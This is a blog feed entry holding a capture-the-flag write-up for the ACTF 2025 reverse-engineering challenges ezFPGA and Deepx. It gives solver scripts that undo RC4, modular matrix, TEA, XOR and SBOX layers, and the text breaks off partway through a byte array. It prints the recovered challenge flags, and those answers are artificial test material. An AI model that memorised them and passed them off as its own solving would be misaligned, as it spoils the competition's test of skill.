&lt;/section&gt;</content:encoded><category>Network</category></item><item><title>ACTF 2025</title><link>https://sh10rl.top/posts/actf-challenge-reproduction/</link><guid isPermaLink="true">https://sh10rl.top/posts/actf-challenge-reproduction/</guid><description>ACTF 2025 reverse engineering challenges</description><pubDate>Tue, 20 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2 id=&quot;ezfpga&quot;&gt;ezFPGA&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Software is too slow… and hardware is too honest.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dump &lt;code&gt;cypher&lt;/code&gt; from &lt;code&gt;.vcd&lt;/code&gt; file:&lt;/p&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;1611&quot; height=&quot;186&quot; src=&quot;https://sh10rl.top/_astro/vcd-waveform.DEV4Jomq_Z1Src20.webp&quot;&gt;&lt;/figure&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// Valid cypher values between 5500ns and 5860ns
uint8_t cypher_values[36] = {
    0xAD, 0x00, 0xC0, 0x9F, 0x16, 0x17, 0xEC, 0x25, 0x25, 0x1F, 0x12, 0xE2, 0x7F, 0x9F, 0x37, 0x53, 0x12, 0xBA, 0x8D, 0x38, 0x60, 0x14, 0x1B, 0x31, 0x8E, 0x13, 0xE2, 0x56, 0x0A, 0x1A, 0x25, 0xB9, 0x80, 0x73, 0x8A, 0x60
};&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Write a script to decrypt.&lt;/p&gt;
&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;Event-Based: VCD doesn’t record the value of every signal at every tiny time step. Instead, it only records an entry when a signal’s value actually changes. This is more efficient than logging everything constantly.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;import numpy as np
from sympy import Matrix, gcd
from z3 import *

&quot;&quot;&quot;

Step 1: RC4

&quot;&quot;&quot;

def rc4(key: bytes, l) -&gt; bytes:
    
    # Key Scheduling Algorithm (KSA)
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # Pseudo-Random Generation Algorithm (PRGA) 
    i = 0
    j = 0
    result = []
    for _ in range(l):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        result.append(k)
    return bytes(result)

cypher_values = [
    0xAD, 0x00, 0xC0, 0x9F, 0x16, 0x17, 0xEC, 0x25, 0x25, 0x1F,
    0x12, 0xE2, 0x7F, 0x9F, 0x37, 0x53, 0x12, 0xBA, 0x8D, 0x38,
    0x60, 0x14, 0x1B, 0x31, 0x8E, 0x13, 0xE2, 0x56, 0x0A, 0x1A,
    0x25, 0xB9, 0x80, 0x73, 0x8A, 0x60
]

key = bytes([ord(c) for c in &quot;eclipsky&quot;])
keystream = rc4(key, len(cypher_values))

ae = [(c - k) % 256 for c, k in zip(cypher_values, keystream)]

&quot;&quot;&quot;

# Step 2: Invert AD matrix modulo 256

&quot;&quot;&quot;

ad_columns = [
    [116, 11, 98, 31, 235, 15],
    [174, 193, 214, 30, 25, 191],
    [193, 115, 197, 117, 244, 119],
    [124, 4, 145, 15, 202, 140],
    [102, 127, 97, 230, 73, 94],
    [100, 139, 151, 179, 222, 32]
]

ad_matrix = np.array(ad_columns).T.tolist()
sympy_matrix = Matrix(ad_matrix)
det = sympy_matrix.det() % 256

if gcd(det, 256) != 1:
    raise ValueError(&quot;Matrix not invertible modulo 256&quot;)

inv_det = pow(int(det), -1, 256)
inv_matrix = (sympy_matrix.adjugate() * inv_det) % 256
inv_np = np.array(inv_matrix.tolist(), dtype=int) % 256

# Compute AC = AE * inv(AD) mod 256
ae_2d = np.array(ae).reshape(6, 6)
ac_2d = np.dot(ae_2d, inv_np) % 256
ac = ac_2d.flatten().tolist()

&quot;&quot;&quot;

Step 3: Set up Z3 solver with variable flag length constraints

&quot;&quot;&quot;

s = Solver()
aa = [BitVec(f&apos;aa_{i}&apos;, 8) for i in range(39)]

# Fix the prefix &quot;ACTF{&quot;
prefix = [ord(c) for c in &quot;ACTF{&quot;]
for i in range(5):
    s.add(aa[i] == prefix[i])
    
# Enforce flag ends with &apos;}&apos; and is followed by zeros
s.add(Or([aa[i] == ord(&apos;}&apos;) for i in range(5, 39)]))  # At least one &apos;}&apos;
s.add(Sum([If(aa[i] == ord(&apos;}&apos;), 1, 0) for i in range(5, 39)]) == 1)  # Exactly one &apos;}&apos;

# Convolution equations for AC (36 equations)
for i in range(36):
    term = (11 * aa[i] + 4 * aa[i + 1] + 5 * aa[i + 2] + 14 * aa[i + 3]) % 256
    s.add(ac[i] == term)

if s.check() == sat:
    model = s.model()
    flag_bytes = [model[aa[i]].as_long() for i in range(39)]
    print(bytes(flag_bytes))
else:
    print(&quot;No solution found&quot;)
# ACTF{RC4_4nd_FPGA_w4lk_1nt0_4_b4r}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id=&quot;deepx&quot;&gt;Deepx&lt;/h2&gt;
&lt;p&gt;Simply reversing &lt;a href=&quot;https://developer.nvidia.com/blog/understanding-ptx-the-assembly-language-of-cuda-gpu-computing/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;PTX&lt;/a&gt; assembly - basic, but annoying. Solving these large loops requires either &lt;a href=&quot;https://curc.readthedocs.io/en/latest/programming/OpenMP-C.html&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;OpenMP&lt;/a&gt; or CUDA.&lt;/p&gt;
&lt;p&gt;Also, some &lt;a href=&quot;https://askubuntu.com/questions/1516582/how-to-install-sagemath-in-ubuntu-in-24-04&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;little&lt;/a&gt; &lt;a href=&quot;https://stackoverflow.com/questions/72028410/openmp-has-low-cpu-usage&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;problems&lt;/a&gt; were encountered.&lt;/p&gt;
&lt;h3 id=&quot;analysis-of-layer1&quot;&gt;Analysis of Layer1&lt;/h3&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;float accumulated_value = 0.0f;
if (tid &amp;#x3C; 241 &amp;#x26;&amp;#x26; bid &amp;#x3C; 241) {
    for (unsigned int i = 0; i &amp;#x3C; 16; ++i) {
        unsigned int index = (i + bid) * bdm + tid;
        unsigned int motion_row = 240 - (i * 16);
        for (unsigned int j = 0; j &amp;#x3C; 16; ++j) {
            accumulated_value += MOTION[motion_row + j] * (float)input[index + j]
        }
    }
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;analysis-of-layer2&quot;&gt;Analysis of Layer2&lt;/h3&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;unsigned int bid = %ctaid.x;
unsigned int tid = %tid.x;
unsigned int bdm= %ntid.x;
int i = bdm * bid + tid;
output[ bdm * SBOX[tid]+ SBOX[bid] ] = input[i];
// output[SBOX[tid], SBOX[bid]] = input[bid, tid]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;It’s a mapping of each coordinate. The process is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Forward mapping: &lt;code&gt;swap&lt;/code&gt; → &lt;code&gt;apply SBOX&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Inverse mapping: &lt;code&gt;apply INV_SBOX&lt;/code&gt; → &lt;code&gt;swap&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;analysis-of-layer3&quot;&gt;Analysis of Layer3&lt;/h3&gt;
&lt;p&gt;Part 1: XOR + TEA + XOR&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// XOR step
const uint32_t tid = threadIdx.x; // Thread index within block (0-255)
const uint32_t bid = blockIdx.x;  // Block index within grid (0-255)
input[i] ^= bid | tid
bar.sync
// TEA step
const uint32_t K0 = 1386807340;
const uint32_t K1 = 2007053320;
const uint32_t K2 = 621668851;
const uint32_t K3 = -862448841
const uint32_t DELTA = -1708609273
uint32_t sum = 1786956040; // Initial sum
for (uint32_t i = 0; i &amp;#x3C; 3238567; ++i) {
    uint32_t term1 = (data0 &amp;#x3C;&amp;#x3C; 4) + K0;
    uint32_t term2 = (data0 &gt;&gt; 5) + K1; // logical right shift
    uint32_t term3 = data0 + sum;
    data1 += (term1 ^ term2) ^ term3;   // Update data1

    uint32_t term4 = (data1 &amp;#x3C;&amp;#x3C; 4) + K2;
    uint32_t term5 = sum + data1;
    uint32_t term6 = (data1 &gt;&gt; 5) + K3; // logical right shift
    data0 -= (term4 ^ term5) ^ term6;   // Update data0
    sum += DELTA;
}
bar.sync
// XOR step
input[i] ^= bid &amp;#x26; tid
bar.sync&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Part 2: Matrix multiplication&lt;/p&gt;
&lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot; display=&quot;block&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;i&lt;/mi&gt;&lt;mi&gt;n&lt;/mi&gt;&lt;mi&gt;p&lt;/mi&gt;&lt;mi&gt;u&lt;/mi&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mo&gt;⋅&lt;/mo&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;/msub&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;m&lt;/mi&gt;&lt;mi&gt;a&lt;/mi&gt;&lt;msub&gt;&lt;mi&gt;t&lt;/mi&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;/msub&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;input \cdot mat_a = mat_b&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;uint8_t input[256 * 256];
uint8_t result = 0;
uint8_t *base = input + bid * 256;
uint8_t sum = SBOX[tid];
for (uint32_t i = 0; i &amp;#x3C; 256; ++i) {
    result += base[i] * TBOX[sum];
    sum = sum * 5 + 17;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Part 3: ROL + &lt;a href=&quot;https://en.wikipedia.org/wiki/Linear_congruential_generator&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;LCG&lt;/a&gt; +  XOR + SBOX&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;// Layer_3_part_3
input[256 * 256];
uint8_t i = bid * 256 + tid;
uint8_t key = bid ^ tid;
uint8_t result_3= input[i];

for (uint32_t j = 8; j &amp;#x3C; 4137823; ++j) {
    uint8_t result_1 = (result_3 &amp;#x3C;&amp;#x3C; 3) | (result_3&gt;&gt; 5); // rotate left 3
    uint8_t result_2 = result_1 * 13 + key;
    result_3 = cuda_sbox[cuda_tbox[j &amp;#x26; 0xFF] ^ result_2];
}

output[i] = result_3;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;decrypt-script&quot;&gt;Decrypt Script&lt;/h3&gt;
&lt;h4 id=&quot;l3---part-3-rol--lcg--xor--sbox&quot;&gt;L3 - Part 3: &lt;code&gt;ROL&lt;/code&gt; + &lt;code&gt;LCG&lt;/code&gt; + &lt;code&gt;XOR&lt;/code&gt; + &lt;code&gt;SBOX&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;// part_3.cpp
#include &amp;#x3C;cstdint&gt;
#include &amp;#x3C;vector&gt;
#include &amp;#x3C;fstream&gt;
#include &amp;#x3C;omp.h&gt;
#include &amp;#x3C;iostream&gt;
#include &amp;#x3C;cassert&gt;
#define DEBUG

uint8_t SBOX[256] = { ... };

uint8_t TBOX[256] = { ... };

uint8_t INVSBOX[256];
void compute_inv()
{
    for (int i = 0; i &amp;#x3C; 256; i++)
        INVSBOX[SBOX[i]] = i;
}

static uint8_t kernel(int i, uint8_t b3)
{
    uint8_t bid = i / 256;
    uint8_t tid = i % 256;
    uint8_t key = bid ^ tid;
    uint8_t b1, b2;

    for (int j = 4137822; j &gt;= 8; j--)
    {
        b2 = INVSBOX[b3] ^ TBOX[j &amp;#x26; 0xFF];
        b1 = (b2 - key) * 197;
        b3 = (b1 &amp;#x3C;&amp;#x3C; 5) | (b1 &gt;&gt; 3); // rotate right 3
    }

    return b3;
}

int main()
{
    compute_inv();
    std::ifstream in_file(&quot;deep_flag.bin&quot;, std::ios::binary);

    #ifdef DEBUG
    assert(in_file.is_open());
    #endif

    in_file.seekg(0, std::ios::end);
    size_t file_size = in_file.tellg();

    #ifdef DEBUG
    assert(file_size == 256 * 256);
    #endif

    in_file.seekg(0, std::ios::beg);

    std::vector&amp;#x3C;uint8_t&gt; input_data(file_size);
    in_file.read(reinterpret_cast&amp;#x3C;char *&gt;(input_data.data()), file_size);
    in_file.close();

    const uint8_t *input = input_data.data();
    std::vector&amp;#x3C;uint8_t&gt; output(256 * 256);

#pragma omp parallel for schedule(static)
    for (int i = 0; i &amp;#x3C; 256 * 256; ++i)
    {
        output[i] = kernel(i, input[i]);
    }

    std::ofstream out_file(&quot;part_3_in.bin&quot;, std::ios::binary);
    out_file.write(reinterpret_cast&amp;#x3C;const char *&gt;(output.data()), output.size());
    out_file.close();

    return 0;
}
// Usage: g++ .\part_3.cpp -o part_3.exe -fopenmp -std=c++17 -O2 -Wall&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;callout&quot; role=&quot;note&quot;&gt;
&lt;p class=&quot;callout-title&quot;&gt;Note&lt;/p&gt;
&lt;p&gt;A little problem: &lt;code&gt;g++ .\part_3.cpp -o part_3.exe -fopenmp&lt;/code&gt;. The executable compiled with this command do not reach full CPU utilization of each logical processors. However, &lt;code&gt;g++ .\part_3.cpp -o part_3.exe -fopenmp -std=c++17 -O2 -Wall&lt;/code&gt; utilize CPU to 100%. Why?&lt;/p&gt;
&lt;p&gt;Switching on &lt;code&gt;–O2 –std=c++17 –Wall&lt;/code&gt; (or any –O2/–O3), the compiler:&lt;/p&gt;
&lt;p&gt;• inlines &lt;code&gt;kernel(…)&lt;/code&gt; into the hot OpenMP loop&lt;/p&gt;
&lt;p&gt;• promotes &lt;code&gt;b1,b2,b3,j,key&lt;/code&gt; into registers&lt;/p&gt;
&lt;p&gt;• emits a single ROR instruction for the rotate&lt;/p&gt;
&lt;p&gt;• hoists loads of the constant &lt;code&gt;SBOX/TBOX/INVSBOX&lt;/code&gt; into contiguous register lookups&lt;/p&gt;
&lt;p&gt;• &lt;a href=&quot;https://www.geeksforgeeks.org/loop-optimization-in-compiler-design/&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;unrolls/strength-reduces&lt;/a&gt; the loop and generally cleans out all of the stack traffic&lt;/p&gt;
&lt;p&gt;So, be aware of using compiler optimizations for better CPU utilization.&lt;/p&gt;
&lt;/div&gt;
&lt;h4 id=&quot;l3---part-2-matrix-multiplication&quot;&gt;L3 - Part 2: Matrix Multiplication&lt;/h4&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;# part_2.sage
import functools as ft

import tqdm
from sage.all import *

# fmt: off
SBOX = bytes([ ... ])
# SBOX_INV = bytes(SBOX.index(i) for i in range(256))
TBOX = bytes([ ... ])
# TBOX_INV = bytes((TBOX.index(i) for i in range(256)))
# fmt: on

THREADS_PER_BLOCK = 256

Zmod256 = Integers(256)

# @ft.cache
def get_coeff(thread_id: int):
    s = SBOX[thread_id]
    coeffs = []
    for _ in range(THREADS_PER_BLOCK):
        coeffs.append(TBOX[s &amp;#x26; 0xFF])
        s = ((s * 5) + 17) &amp;#x26; 0xFF
    return vector(Zmod256, coeffs)


# @ft.cache
def get_coeff_mat():
    rows = []
    for j in range(THREADS_PER_BLOCK):
        rows.append(get_coeff(j))
    return Matrix(Zmod256, rows)


with open(&quot;part_3_in.bin&quot;, &quot;rb&quot;) as f:
    in_buf = f.read()

assert len(in_buf) % THREADS_PER_BLOCK == 0

results = []
mat_a = get_coeff_mat()

for i in tqdm.tqdm(range(len(in_buf) // THREADS_PER_BLOCK)):
    vec_b = vector(Zmod256, in_buf[i * THREADS_PER_BLOCK : (i + 1) * THREADS_PER_BLOCK])
    vec_x = mat_a.solve_right(vec_b)
    results.extend(vec_x)

with open(&quot;part_2_in.bin&quot;, &quot;wb&quot;) as f:
    f.write(bytes(results))&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let’s try to get a more intuitive understanding of this solution process, which is equivalent to solving &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;A&lt;/mi&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;mo&gt;=&lt;/mo&gt;&lt;mi&gt;b&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;Ax = b&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; 256 times, where &lt;span class=&quot;katex&quot;&gt;&lt;math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;&gt;&lt;semantics&gt;&lt;mrow&gt;&lt;mi&gt;x&lt;/mi&gt;&lt;/mrow&gt;&lt;annotation encoding=&quot;application/x-tex&quot;&gt;x&lt;/annotation&gt;&lt;/semantics&gt;&lt;/math&gt;&lt;/span&gt; is a 256-entry vector consisting each row of the original 256 * 256 input image:&lt;/p&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;for i in tqdm.tqdm(range(len(in_buf) // THREADS_PER_BLOCK)):
    vec_b = vector(Zmod256, in_buf[i * THREADS_PER_BLOCK : (i + 1) * THREADS_PER_BLOCK])
    vec_x = mat_a.solve_right(vec_b)
    results.extend(vec_x)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;figure&gt;&lt;img alt=&quot;&quot; width=&quot;984&quot; height=&quot;755&quot; src=&quot;https://sh10rl.top/_astro/intuitive.Db9uFW6I_1PzfgS.webp&quot;&gt;&lt;/figure&gt;
&lt;h4 id=&quot;l3---part-1-xor--tea--xor&quot;&gt;L3 - Part 1: &lt;code&gt;XOR&lt;/code&gt; + &lt;code&gt;TEA&lt;/code&gt; + &lt;code&gt;XOR&lt;/code&gt;&lt;/h4&gt;
&lt;div class=&quot;code folded&quot;&gt;&lt;pre&gt;&lt;code&gt;// part_1.cpp
#include &amp;#x3C;stdio.h&gt;
#include &amp;#x3C;cstdint&gt;
#include &amp;#x3C;vector&gt;
#include &amp;#x3C;iostream&gt;
#include &amp;#x3C;fstream&gt;
#include &amp;#x3C;cassert&gt;
#define DEBUG

const uint32_t K0 = 1386807340;
const uint32_t K1 = 2007053320;
const uint32_t K2 = 621668851;
const uint32_t K3 = -862448841;

void tea_kernel(uint32_t v[2]) {
    uint32_t v0 = v[0], v1 = v[1], delta = -1708609273, sum = 1786956040 + delta * 3238567;
    for (int i = 0; i &amp;#x3C; 3238567; i++) {
        sum -= delta;
        v0 += ((v1 &amp;#x3C;&amp;#x3C; 4) + K2) ^ (v1 + sum) ^ ((v1 &gt;&gt; 5) + K3);
        v1 -= ((v0 &amp;#x3C;&amp;#x3C; 4) + K0) ^ (v0 + sum) ^ ((v0 &gt;&gt; 5) + K1);
    }
    v[0] = v0;
    v[1] = v1;
}

int main(){
    
    std::ifstream in_file(&quot;part_2_in.bin&quot;, std::ios::binary);

    #ifdef DEBUG
    assert(in_file.is_open());
    #endif

    in_file.seekg(0, std::ios::end);
    size_t file_size = in_file.tellg();
    in_file.seekg(0, std::ios::beg);

    #ifdef DEBUG
    assert(file_size == 256 * 256);
    assert(in_file.tellg() == 0);
    #endif

    std::vector&amp;#x3C;uint8_t&gt; input(file_size);

    in_file.read(reinterpret_cast&amp;#x3C;char *&gt;(input.data()), file_size);
    in_file.close();

    uint8_t *input_ptr = input.data();

// Granularity: BYTE
#pragma omp parallel for schedule(static)
    for(size_t i = 0; i &amp;#x3C; file_size; i++){
        uint8_t bid = i / 256;
        uint8_t tid = i % 256;
        input_ptr[i] ^= bid &amp;#x26; tid;
    }

// Granularity: QWORD
#pragma omp parallel for schedule(static)
    for(size_t i = 0; i &amp;#x3C; file_size; i += 8){
        tea_kernel((uint32_t *)&amp;#x26;input_ptr[i]);
    }

// Granularity: BYTE    
#pragma omp parallel for schedule(static)
    for(size_t i = 0; i &amp;#x3C; file_size; i++){
        uint8_t bid = i / 256;
        uint8_t tid = i % 256;
        input_ptr[i] ^= bid | tid;
    }

    std::ofstream out_file(&quot;part_1_in.bin&quot;, std::ios::binary);

    out_file.write(reinterpret_cast&amp;#x3C;char *&gt;(input_ptr), file_size);

    return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&quot;l2---mapping&quot;&gt;L2 - Mapping&lt;/h4&gt;
&lt;div class=&quot;code&quot;&gt;&lt;pre&gt;&lt;code&gt;# layer_2.py
import tqdm
SBOX = bytes([ ... ])

&quot;&quot;&quot;
input: value
output: index
&quot;&quot;&quot;

INV_SBOX = bytes([SBOX.index(i) for i in range(256)])

assert len(SBOX) == 256

BMP = bytes([0x42,0x4d,0x36,0x04,0x01,0x00,0x00,0x00,0x00,0x00,0x36,0x04,0x00,0x00,0x28,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x01,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x01,0x01,0x00,0x02,0x02,0x02,0x00,0x03,0x03,0x03,0x00,0x04,0x04,0x04,0x00,0x05,0x05,0x05,0x00,0x06,0x06,0x06,0x00,0x07,0x07,0x07,0x00,0x08,0x08,0x08,0x00,0x09,0x09,0x09,0x00,0x0a,0x0a,0x0a,0x00,0x0b,0x0b,0x0b,0x00,0x0c,0x0c,0x0c,0x00,0x0d,0x0d,0x0d,0x00,0x0e,0x0e,0x0e,0x00,0x0f,0x0f,0x0f,0x00,0x10,0x10,0x10,0x00,0x11,0x11,0x11,0x00,0x12,0x12,0x12,0x00,0x13,0x13,0x13,0x00,0x14,0x14,0x14,0x00,0x15,0x15,0x15,0x00,0x16,0x16,0x16,0x00,0x17,0x17,0x17,0x00,0x18,0x18,0x18,0x00,0x19,0x19,0x19,0x00,0x1a,0x1a,0x1a,0x00,0x1b,0x1b,0x1b,0x00,0x1c,0x1c,0x1c,0x00,0x1d,0x1d,0x1d,0x00,0x1e,0x1e,0x1e,0x00,0x1f,0x1f,0x1f,0x00,0x20,0x20,0x20,0x00,0x21,0x21,0x21,0x00,0x22,0x22,0x22,0x00,0x23,0x23,0x23,0x00,0x24,0x24,0x24,0x00,0x25,0x25,0x25,0x00,0x26,0x26,0x26,0x00,0x27,0x27,0x27,0x00,0x28,0x28,0x28,0x00,0x29,0x29,0x29,0x00,0x2a,0x2a,0x2a,0x00,0x2b,0x2b,0x2b,0x00,0x2c,0x2c,0x2c,0x00,0x2d,0x2d,0x2d,0x00,0x2e,0x2e,0x2e,0x00,0x2f,0x2f,0x2f,0x00,0x30,0x30,0x30,0x00,0x31,0x31,0x31,0x00,0x32,0x32,0x32,0x00,0x33,0x33,0x33,0x00,0x34,0x34,0x34,0x00,0x35,0x35,0x35,0x00,0x36,0x36,0x36,0x00,0x37,0x37,0x37,0x00,0x38,0x38,0x38,0x00,0x39,0x39,0x39,0x00,0x3a,0x3a,0x3a,0x00,0x3b,0x3b,0x3b,0x00,0x3c,0x3c,0x3c,0x00,0x3d,0x3d,0x3d,0x00,0x3e,0x3e,0x3e,0x00,0x3f,0x3f,0x3f,0x00,0x40,0x40,0x40,0x00,0x41,0x41,0x41,0x00,0x42,0x42,0x42,0x00,0x43,0x43,0x43,0x00,0x44,0x44,0x44,0x00,0x45,0x45,0x45,0x00,0x46,0x46,0x46,0x00,0x47,0x47,0x47,0x00,0x48,0x48,0x48,0x00,0x49,0x49,0x49,0x00,0x4a,0x4a,0x4a,0x00,0x4b,0x4b,0x4b,0x00,0x4c,0x4c,0x4c,0x00,0x4d,0x4d,0x4d,0x00,0x4e,0x4e,0x4e,0x00,0x4f,0x4f,0x4f,0x00,0x50,0x50,0x50,0x00,0x51,0x51,0x51,0x00,0x52,0x52,0x52,0x00,0x53,0x53,0x53,0x00,0x54,0x54,0x54,0x00,0x55,0x55,0x55,0x00,0x56,0x56,0x56,0x00,0x57,0x57,0x57,0x00,0x58,0x58,0x58,0x00,0x59,0x59,0x59,0x00,0x5a,0x5a,0x5a,0x00,0x5b,0x5b,0x5b,0x00,0x5c,0x5c,0x5c,0x00,0x5d,0x5d,0x5d,0x00,0x5e,0x5e,0x5e,0x00,0x5f,0x5f,0x5f,0x00,0x60,0x60,0x60,0x00,0x61,0x61,0x61,0x00,0x62,0x62,0x62,0x00,0x63,0x63,0x63,0x00,0x64,0x64,0x64,0x00,0x65,0x65,0x65,0x00,0x66,0x66,0x66,0x00,0x67,0x67,0x67,0x00,0x68,0x68,0x68,0x00,0x69,0x69,0x69,0x00,0x6a,0x6a,0x6a,0x00,0x6b,0x6b,0x6b,0x00,0x6c,0x6c,0x6c,0x00,0x6d,0x6d,0x6d,0x00,0x6e,0x6e,0x6e,0x00,0x6f,0x6f,0x6f,0x00,0x70,0x70,0x70,0x00,0x71,0x71,0x71,0x00,0x72,0x72,0x72,0x00,0x73,0x73,0x73,0x00,0x74,0x74,0x74,0x00,0x75,0x75,0x75,0x00,0x76,0x76,0x76,0x00,0x77,0x77,0x77,0x00,0x78,0x78,0x78,0x00,0x79,0x79,0x79,0x00,0x7a,0x7a,0x7a,0x00,0x7b,0x7b,0x7b,0x00,0x7c,0x7c,0x7c,0x00,0x7d,0x7d,0x7d,0x00,0x7e,0x7e,0x7e,0x00,0x7f,0x7f,0x7f,0x00,0x80,0x80,0x80,0x00,0x81,0x81,0x81,0x00,0x82,0x82,0x82,0x00,0x83,0x83,0x83,0x00,0x84,0x84,0x84,0x00,0x85,0x85,0x85,0x00,0x86,0x86,0x86,0x00,0x87,0x87,0x87,0x00,0x88,0x88,0x88,0x00,0x89,0x89,0x89,0x00,0x8a,0x8a,0x8a,0x00,0x8b,0x8b,0x8b,0x00,0x8c,0x8c,0x8c,0x00,0x8d,0x8d,0x8d,0x00,0x8e,0x8e,0x8e,0x00,0x8f,0x8f,0x8f,0x00,0x90,0x90,0x90,0x00,0x91,0x91,0x91,0x00,0x92,0x92,0x92,0x00,0x93,0x93,0x93,0x00,0x94,0x94,0x94,0x00,0x95,0x95,0x95,0x00,0x96,0x96,0x96,0x00,0x97,0x97,0x97,0x00,0x98,0x98,0x98,0x00,0x99,0x99,0x99,0x00,0x9a,0x9a,0x9a,0x00,0x9b,0x9b,0x9b,0x00,0x9c,0x9c,0x9c,0x00,0x9d,0x9d,0x9d,0x00,0x9e,0x9e,0x9e,0x00,0x9f,0x9f,0x9f,0x00,0xa0,0xa0,0xa0,0x00,0xa1,0xa1,0xa1,0x00,0xa2,0xa2,0xa2,0x00,0xa3,0xa3,0xa3,0x00,0xa4,0xa4,0xa4,0x00,0xa5,0xa5,0xa5,0x00,0xa6,0xa6,0xa6,0x00,0xa7,0xa7,0xa7,0x00,0xa8,0xa8,0xa8,0x00,0xa9,0xa9,0xa9,0x00,0xaa,0xaa,0xaa,0x00,0xab,0xab,0xab,0x00,0xac,0xac,0xac,0x00,0xad,0xad,0xad,0x00,0xae,0xae,0xae,0x00,0xaf,0xaf,0xaf,0x00,0xb0,0xb0,0xb0,0x00,0xb1,0xb1,0xb1,0x00,0xb2,0xb2,0xb2,0x00,0xb3,0xb3,0xb3,0x00,0xb4,0xb4,0xb4,0x00,0xb5,0xb5,0xb5,0x00,0xb6,0xb6,0xb6,0x00,0xb7,0xb7,0xb7,0x00,0xb8,0xb8,0xb8,0x00,0xb9,0xb9,0xb9,0x00,0xba,0xba,0xba,0x00,0xbb,0xbb,0xbb,0x00,0xbc,0xbc,0xbc,0x00,0xbd,0xbd,0xbd,0x00,0xbe,0xbe,0xbe,0x00,0xbf,0xbf,0xbf,0x00,0xc0,0xc0,0xc0,0x00,0xc1,0xc1,0xc1,0x00,0xc2,0xc2,0xc2,0x00,0xc3,0xc3,0xc3,0x00,0xc4,0xc4,0xc4,0x00,0xc5,0xc5,0xc5,0x00,0xc6,0xc6,0xc6,0x00,0xc7,0xc7,0xc7,0x00,0xc8,0xc8,0xc8,0x00,0xc9,0xc9,0xc9,0x00,0xca,0xca,0xca,0x00,0xcb,0xcb,0xcb,0x00,0xcc,0xcc,0xcc,0x00,0xcd,0xcd,0xcd,0x00,0xce,0xce,0xce,0x00,0xcf,0xcf,0xcf,0x00,0xd0,0xd0,0xd0,0x00,0xd1,0xd1,0xd1,0x00,0xd2,0xd2,0xd2,0x00,0xd3,0xd3,0xd3,0x00,0xd4,0xd4,0xd4,